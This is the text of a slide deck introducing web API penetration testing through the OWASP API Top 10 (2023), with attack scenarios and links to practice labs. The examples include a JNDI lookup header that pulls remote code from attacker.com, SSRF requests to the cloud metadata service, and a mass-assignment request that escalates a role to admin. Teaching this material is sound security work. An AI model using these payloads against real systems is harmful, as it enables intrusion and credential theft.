Hacking APIs Web API Pentesting Essentials v2 1
Hacking APIs Web API Pentesting Essentials v2 1
API Pentesting
Essentials
- Kushagra Srivastav
About CyberWarFare Labs :
- Intern at @CWLabs
- Interested in Security
Table of contents
01 02
APIs & API Pentesting OWASP API Top 10 - 2023
03 04
Demo of the Some of my Own
Vulnerable Labs finding - If we will get time
01
Theory lesson
API and API Pentesting
What is API?
For example:
API stands for Application Programming Imagine you have a payment server written in Golang
Interface. It acts as a medium that allows data and another backend system storing user data written
exchange and communication between different in JavaScript. With the help of an API, these two
applications, networks, and systems. systems can communicate and exchange
information, such as processing a payment and
Think of an API as a bridge that connects two updating the user database.
separate software components, enabling them to
interact seamlessly—even if they are built with
different technologies.
Types of Web APIs
API10:2023
Renamed Merged New Unsafe Consumption of APIs
API-1: Broken Object Level Authorization
> Broken Object Level Authorization occur when an unauthenticated user can access the sensitive objects
and data that they are not authorized to access.
> BOLA occurs when an API endpoint fails to properly enforce authorization checks for user-specific objects.
This vulnerability allows attackers to manipulate object identifiers (like user_id or file_id) to gain
unauthorized access to other users' data or operations.
API-1: BOLA - USE CASES
> Sage is the authenticated user and can make a API call to view her bank account and address.
> The attacker uses a database of leaked usernames and passwords from a prior breach to automate login attempts,
assuming users may reuse credentials across platforms:
> The attacker sends numerous login attempts by automating the process either using Burp Intruder or some custom
script.
API-2: Broken Authentication - USE CASES
Scenario #3 - Forging a JWT Token
> To bypass authentication mechanisms, an attacker forges a JSON Web Token (JWT) by exploiting weak or
misconfigured JWT validation on the server. Here's how this happens:
The JWT is signed with a secret key and returned to the user.
> APIs often expose multiple endpoints with different privilege levels for various user roles (e.g.,
admin, user, guest). If proper role-based access control (RBAC) is not enforced, attackers can gain
access to privileged functionalities by invoking high-privilege endpoints directly. For example, an
attacker might access an admin-specific API to delete records or alter system settings by
guessing or enumerating the endpoint URL.
Mass Assignment:
Normal Request:
POST /api/update-user
{
"username": "Jett",
"email": "[email protected]",
"role": "admin"
}
API-4: Unrestricted Resource Consumption
> Occurs when an API allows excessive use of resources (e.g., CPU, memory, bandwidth) without
proper limits or controls.
> Attackers exploit this to overload the server, leading to performance degradation or denial of
service (DoS).
> An attacker even can bypass the API rate limit which allow him to abuse 2 functionality. First one
is he/she can continue overloading the server by making request and sometimes provider have
paid subscription for making API request more than > X times.
API-4: Unrestricted Resource Consumption
Scenario:
An API endpoint for sending OTPs has no rate limit.
Attack:
The attacker automates requests to the endpoint, sending thousands of OTPs, consuming server
bandwidth and processing power.
Impact:
Server becomes overwhelmed, leading to unavailability for legitimate users.
API-4: Unrestricted Resource Consumption
Scenario:
An API accepts file uploads for processing, such as unzipping.
Attack:
The attacker uploads a maliciously compressed "zip bomb" file (e.g., 10 KB), which decompresses
into terabytes of data.
Impact:
Server resources (CPU, memory, storage) are exhausted, potentially crashing the service.
API5: Broken Function Level Authorization
> Broken Function Level Authorization occurs when APIs fail to enforce proper permissions for
specific actions or functions, allowing unauthorized users or lower-privileged roles to access or
perform operations they should not have permission for.
> Organizations often assign different roles or groups (e.g., admin, merchant, user, moderator) to
segregate access based on responsibilities. When APIs lack proper role validation, one role can
exploit this flaw to abuse the functionality intended for higher-privileged roles. This vulnerability is
especially critical when sensitive actions or data are exposed to unintended users.
> For example, a regular user might be able to access admin-only endpoints, or a merchant might
perform operations reserved for system administrators. Such flaws compromise the principle of
least privilege and can lead to data breaches or misuse of system functionalities.
API5: Broken Function Level Authorization
Attack Scenario:
> A merchant modifies their role in the request or directly accesses endpoints meant for moderators,
enabling them to edit or delete content they are not authorized to.
Internal Resources: Internal databases, cloud metadata services, intranet servers, or private APIs.
API7: Server Side Request Forgery
How much SSRF is reliable?
Chaining Exploits:
- Using SSRF as a pivot point to launch further attacks, such as lateral movement or privilege escalation within the
network.
API7: Server Side Request Forgery
Exploitation:
Case #1: Accessing Internal Resources
An API accepting a URL parameter retrieves the content of the provided URL. An attacker submits a request like:
GET /fetch?url=http://internal-server.local/admin
This causes the server to connect to and expose sensitive data from the internal server.
Exploiting a cloud-based API to fetch sensitive information like access tokens from the cloud provider’s metadata service:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
API8:Security Misconfiguration
> When an API server is not properly configured, it allows attackers to exploit vulnerabilities caused by
insecure settings, default configurations, or missing patches
> Security Misconfiguration occurs when APIs are deployed with insecure settings, missing patches, or
default configurations, exposing them to potential exploitation. Misconfigurations can exist at multiple
levels, including the API, server, database, or cloud environment, making it a broad yet critical vulnerability.
Cases:
Case 1: Exposed Management Interfaces
An attacker discovers a publicly accessible API management interface that uses default credentials to log
in and take over the system.
An API back-end server maintains an access log written by a popular third-party open-source logging
utility with support for placeholder expansion and JNDI (Java Naming and Directory Interface) lookups, both
enabled by default. For each request, a new entry is written to the log file with the following pattern:
<method> <api_version>/<path> - <status_code>.
A bad actor issues the following API request, which gets written to the access log file:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
Due to the insecure default configuration of the logging utility and a permissive network outbound policy, in
order to write the corresponding entry to the access log, while expanding the value in the X-Api-Version
request header, the logging utility will pull and execute the Malicious.class object from the attacker's remote
controlled server.
API9: Improper Inventory Management
> Improper Inventory Management refers to the failure to properly track, secure, and manage APIs,
including endpoints, versions, and deployments. This vulnerability exposes unused, outdated, or
undocumented APIs that attackers can exploit.
> Finding staging or beta API server which have many new features and few security mechanisms
implemented.
> Changing the API version to the previous version while making request.
API9: Improper Inventory Management
Exploitation Scenarios:
> Unsafe Consumption of APIs arises when developers consume or integrate APIs without rigorous
validation or sanitization of inputs and outputs. This opens the door to vulnerabilities like SQL
Injection, Command Injection, or other exploits targeting external or third-party APIs.
SQL Injection – When an API processes user-supplied data directly into database queries without
sanitization, attackers can inject malicious SQL statements to extract, modify, or delete sensitive data.
Command Injection – If an API accepts commands or file paths from users and executes them without
proper validation, attackers can execute arbitrary commands on the server.
Dependency Risk – Trusting external APIs without assessing their security practices can introduce
vulnerabilities from third-party systems into your application.
API10: UNSAFE CONSUMPTION OF APIS
Attacking Scenarios:
Labs:
https://github.com/roottusk/vapi
https://github.com/bnematzadeh/vulnerable-rest-api
https://github.com/Sjord/jwtdemo
Thanks
Questions?